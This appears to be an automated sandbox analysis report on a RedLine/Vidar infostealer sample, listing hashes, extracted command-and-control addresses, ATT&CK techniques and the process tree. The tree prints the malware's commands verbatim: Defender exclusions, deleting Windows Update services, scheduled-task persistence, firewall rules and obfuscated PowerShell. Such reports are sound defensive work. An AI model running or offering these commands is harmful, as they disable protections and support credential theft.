redline | 2ba224dabae18b11854ad87608470a7437a8faa9fd8955fb5dffc583e4b0495c

Analysis

max time kernel
37s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
24/10/2022, 22:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe
Size 2.6MB
Sample221024-2wntcaahfk
SHA256 2ba224dabae18b11854ad87608470a7437a8faa9fd8955fb5dffc583e4b0495c
MD5 82757f4f01574a3254e6863ebe8f6a9b
SHA1 94ef694de9235360d4aa906b8473abfb754c404c
SHA512 7fa490944dd48bef1d119fad0cc1957281be663ea3f436e4ea44330001dcbcf1b61976a611220500b6a23de195a10489918b315bf1716a464a8d6f9209a31295
SSDEEP 24576:yxyzod8VRu+BRIWDhY8YflYCcP2KrMV+dheGiUe09s91ETGLnO4LJYiqLfMOl3Rb:y4zod8VR1BRIWLTi2kET2rLJYiqFl3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline vidar 1707 @maytee_o evasion infostealer spyware stealer upx

Malware Config

Extracted

Family

redline

Botnet

@maytee_o

77.73.134.24:80

Attributes

auth_value
721f2debc17b76663d6d5230888641eb

Extracted

Family

vidar

Version

55.2

Botnet

1707

https://t.me/slivetalks
https://c.im/@xinibin420

Attributes

profile_id
1707

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/101320-133-0x0000000001100000-0x0000000001128000-memory.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
664	ofg.exe
2920	test.exe
2668	brave.exe
2112	chrome.exe
3548	GoogleUpdate.exe

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Modify Existing Service

T1031

pid	Process
96488	netsh.exe
96504	netsh.exe
96520	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001e5d3-161.dat	upx
behavioral2/memory/2668-169-0x00007FF771A10000-0x00007FF771ED1000-memory.dmp	upx
behavioral2/memory/2668-226-0x00007FF771A10000-0x00007FF771ED1000-memory.dmp	upx
behavioral2/files/0x000500000001e5d3-246.dat	upx
behavioral2/memory/2668-249-0x00007FF771A10000-0x00007FF771ED1000-memory.dmp	upx
behavioral2/files/0x000900000001e9db-255.dat	upx
behavioral2/memory/103196-264-0x00007FF6FC160000-0x00007FF6FC621000-memory.dmp	upx

Loads dropped DLL 3 IoCs

pid	Process
102116	vbc.exe
102116	vbc.exe
102116	vbc.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4668 set thread context of 101320	4668	2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe	84
PID 2112 set thread context of 3548	2112	chrome.exe	107
PID 2920 set thread context of 102116	2920	test.exe	114
PID 2668 set thread context of 102828	2668	brave.exe	143

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
102472	sc.exe
102544	sc.exe
102620	sc.exe
102664	sc.exe
102684	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2732	2920	WerFault.exe	95
102216	2920	WerFault.exe	95

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vbc.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4416	schtasks.exe
4576	SCHTASKS.exe
2884	SCHTASKS.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
102132	timeout.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
101320	AppLaunch.exe
101320	AppLaunch.exe
4944	powershell.exe
4944	powershell.exe
102116	vbc.exe
102116	vbc.exe
102388	powershell.exe
102388	powershell.exe
102296	powershell.exe
102296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	101320	AppLaunch.exe
Token: SeDebugPrivilege	664	ofg.exe
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	102388	powershell.exe
Token: SeDebugPrivilege	102296	powershell.exe
Token: SeShutdownPrivilege	102484	powercfg.exe
Token: SeCreatePagefilePrivilege	102484	powercfg.exe
Token: SeShutdownPrivilege	102528	powercfg.exe
Token: SeCreatePagefilePrivilege	102528	powercfg.exe
Token: SeShutdownPrivilege	102572	powercfg.exe
Token: SeCreatePagefilePrivilege	102572	powercfg.exe
Token: SeShutdownPrivilege	102640	powercfg.exe
Token: SeCreatePagefilePrivilege	102640	powercfg.exe
Token: SeIncreaseQuotaPrivilege	102296	powershell.exe
Token: SeSecurityPrivilege	102296	powershell.exe
Token: SeTakeOwnershipPrivilege	102296	powershell.exe
Token: SeLoadDriverPrivilege	102296	powershell.exe
Token: SeSystemProfilePrivilege	102296	powershell.exe
Token: SeSystemtimePrivilege	102296	powershell.exe
Token: SeProfSingleProcessPrivilege	102296	powershell.exe
Token: SeIncBasePriorityPrivilege	102296	powershell.exe
Token: SeCreatePagefilePrivilege	102296	powershell.exe
Token: SeBackupPrivilege	102296	powershell.exe
Token: SeRestorePrivilege	102296	powershell.exe
Token: SeShutdownPrivilege	102296	powershell.exe
Token: SeDebugPrivilege	102296	powershell.exe
Token: SeSystemEnvironmentPrivilege	102296	powershell.exe
Token: SeRemoteShutdownPrivilege	102296	powershell.exe
Token: SeUndockPrivilege	102296	powershell.exe
Token: SeManageVolumePrivilege	102296	powershell.exe
Token: 33	102296	powershell.exe
Token: 34	102296	powershell.exe
Token: 35	102296	powershell.exe
Token: 36	102296	powershell.exe
Token: SeIncreaseQuotaPrivilege	102296	powershell.exe
Token: SeSecurityPrivilege	102296	powershell.exe
Token: SeTakeOwnershipPrivilege	102296	powershell.exe
Token: SeLoadDriverPrivilege	102296	powershell.exe
Token: SeSystemProfilePrivilege	102296	powershell.exe
Token: SeSystemtimePrivilege	102296	powershell.exe
Token: SeProfSingleProcessPrivilege	102296	powershell.exe
Token: SeIncBasePriorityPrivilege	102296	powershell.exe
Token: SeCreatePagefilePrivilege	102296	powershell.exe
Token: SeBackupPrivilege	102296	powershell.exe
Token: SeRestorePrivilege	102296	powershell.exe
Token: SeShutdownPrivilege	102296	powershell.exe
Token: SeDebugPrivilege	102296	powershell.exe
Token: SeSystemEnvironmentPrivilege	102296	powershell.exe
Token: SeRemoteShutdownPrivilege	102296	powershell.exe
Token: SeUndockPrivilege	102296	powershell.exe
Token: SeManageVolumePrivilege	102296	powershell.exe
Token: 33	102296	powershell.exe
Token: 34	102296	powershell.exe
Token: 35	102296	powershell.exe
Token: 36	102296	powershell.exe
Token: SeIncreaseQuotaPrivilege	102296	powershell.exe
Token: SeSecurityPrivilege	102296	powershell.exe
Token: SeTakeOwnershipPrivilege	102296	powershell.exe
Token: SeLoadDriverPrivilege	102296	powershell.exe
Token: SeSystemProfilePrivilege	102296	powershell.exe
Token: SeSystemtimePrivilege	102296	powershell.exe
Token: SeProfSingleProcessPrivilege	102296	powershell.exe
Token: SeIncBasePriorityPrivilege	102296	powershell.exe
Token: SeCreatePagefilePrivilege	102296	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 101320	4668	2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe	84
PID 4668 wrote to memory of 101320	4668	2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe	84
PID 4668 wrote to memory of 101320	4668	2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe	84
PID 4668 wrote to memory of 101320	4668	2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe	84
PID 4668 wrote to memory of 101320	4668	2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe	84
PID 101320 wrote to memory of 664	101320	AppLaunch.exe	91
PID 101320 wrote to memory of 664	101320	AppLaunch.exe	91
PID 664 wrote to memory of 1792	664	ofg.exe	92
PID 664 wrote to memory of 1792	664	ofg.exe	92
PID 1792 wrote to memory of 4416	1792	cmd.exe	94
PID 1792 wrote to memory of 4416	1792	cmd.exe	94
PID 101320 wrote to memory of 2920	101320	AppLaunch.exe	95
PID 101320 wrote to memory of 2920	101320	AppLaunch.exe	95
PID 101320 wrote to memory of 2920	101320	AppLaunch.exe	95
PID 101320 wrote to memory of 2668	101320	AppLaunch.exe	98
PID 101320 wrote to memory of 2668	101320	AppLaunch.exe	98
PID 101320 wrote to memory of 2112	101320	AppLaunch.exe	99
PID 101320 wrote to memory of 2112	101320	AppLaunch.exe	99
PID 101320 wrote to memory of 2112	101320	AppLaunch.exe	99
PID 2112 wrote to memory of 4944	2112	chrome.exe	101
PID 2112 wrote to memory of 4944	2112	chrome.exe	101
PID 2112 wrote to memory of 4944	2112	chrome.exe	101
PID 2112 wrote to memory of 4576	2112	chrome.exe	102
PID 2112 wrote to memory of 4576	2112	chrome.exe	102
PID 2112 wrote to memory of 4576	2112	chrome.exe	102
PID 2112 wrote to memory of 2884	2112	chrome.exe	105
PID 2112 wrote to memory of 2884	2112	chrome.exe	105
PID 2112 wrote to memory of 2884	2112	chrome.exe	105
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 2112 wrote to memory of 3548	2112	chrome.exe	107
PID 3548 wrote to memory of 96488	3548	GoogleUpdate.exe	108
PID 3548 wrote to memory of 96488	3548	GoogleUpdate.exe	108
PID 3548 wrote to memory of 96488	3548	GoogleUpdate.exe	108
PID 3548 wrote to memory of 96504	3548	GoogleUpdate.exe	109
PID 3548 wrote to memory of 96504	3548	GoogleUpdate.exe	109
PID 3548 wrote to memory of 96504	3548	GoogleUpdate.exe	109
PID 3548 wrote to memory of 96520	3548	GoogleUpdate.exe	111
PID 3548 wrote to memory of 96520	3548	GoogleUpdate.exe	111
PID 3548 wrote to memory of 96520	3548	GoogleUpdate.exe	111
PID 2920 wrote to memory of 102116	2920	test.exe	114
PID 2920 wrote to memory of 102116	2920	test.exe	114
PID 2920 wrote to memory of 102116	2920	test.exe	114
PID 2920 wrote to memory of 102116	2920	test.exe	114
PID 2920 wrote to memory of 102116	2920	test.exe	114
PID 2668 wrote to memory of 102388	2668	brave.exe	118
PID 2668 wrote to memory of 102388	2668	brave.exe	118
PID 102116 wrote to memory of 102156	102116	vbc.exe	120
PID 102116 wrote to memory of 102156	102116	vbc.exe	120
PID 102116 wrote to memory of 102156	102116	vbc.exe	120
PID 102156 wrote to memory of 102132	102156	cmd.exe	122
PID 102156 wrote to memory of 102132	102156	cmd.exe	122
PID 102156 wrote to memory of 102132	102156	cmd.exe	122
PID 2668 wrote to memory of 102192	2668	brave.exe	123
PID 2668 wrote to memory of 102192	2668	brave.exe	123
PID 2668 wrote to memory of 102300	2668	brave.exe	124
PID 2668 wrote to memory of 102300	2668	brave.exe	124
PID 2668 wrote to memory of 102296	2668	brave.exe	125

C:\Users\Admin\AppData\Local\Temp\2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe
"C:\Users\Admin\AppData\Local\Temp\2BA224DABAE18B11854AD87608470A7437A8FAA9FD895.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:101320
- - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
    "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:664
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1792
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Creates scheduled task(s)
        
        PID:4416
- - C:\Users\Admin\AppData\Local\Microsoft\test.exe
    "C:\Users\Admin\AppData\Local\Microsoft\test.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2920 -s 376
      4⤵
      Program crash
      PID:2732
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:102116
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:102156
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        6⤵
        Delays execution with timeout.exe
        
        PID:102132
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2920 -s 98884
      4⤵
      Program crash
      PID:102216
- - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
    "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:102388
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:102192
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:102472
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:102544
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:102620
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:102664
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:102684
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:102704
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:102724
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        Modifies security service
        
        PID:102748
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:102768
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:102788
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      PID:102300
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:102484
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:102528
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:102572
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:102640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:102296
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      Drops file in Windows directory
      PID:102828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
      4⤵
      PID:102840
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        5⤵
        
        PID:103176
- - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
    "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:2112
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4944
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4576
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2884
  - - C:\Windows\GoogleUpdate.exe
      C:\Windows\GoogleUpdate.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
        5⤵
        Modifies Windows Firewall
        
        PID:96488
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:96504
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:96520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2920 -ip 2920
1⤵
PID:3268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2920 -ip 2920
1⤵
PID:102152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:102948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:102964

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:103196

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{cc839203-a3e1-4937-9773-8cdda2f2bfd1}
1⤵
PID:103248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

mozglue.dll

Path C:\ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
SSDEEP 12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5 SHA1 SHA512 SSDEEP

Submit Download

nss3.dll

Path C:\ProgramData\nss3.dll
Size 2.0MB
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
SSDEEP 49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5 SHA1 SHA512 SSDEEP

Submit Download

sqlite3.dll

Path C:\ProgramData\sqlite3.dll
Size 1.1MB
SHA256 4841020c8bd06b08fde6e44cbe2e2ab33439e1c8368e936ec5b00dc0584f7260
MD5 1f44d4d3087c2b202cf9c90ee9d04b0f
SHA1 106a3ebc9e39ab6ddb3ff987efb6527c956f192d
SHA512 b614c72a3c1ce681ebffa628e29aa50275cc80ca9267380960c5198ea4d0a3f2df6cfb7275491d220bad72f14fc94e6656501e9a061d102fb11e00cfda2beb45
SSDEEP 12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
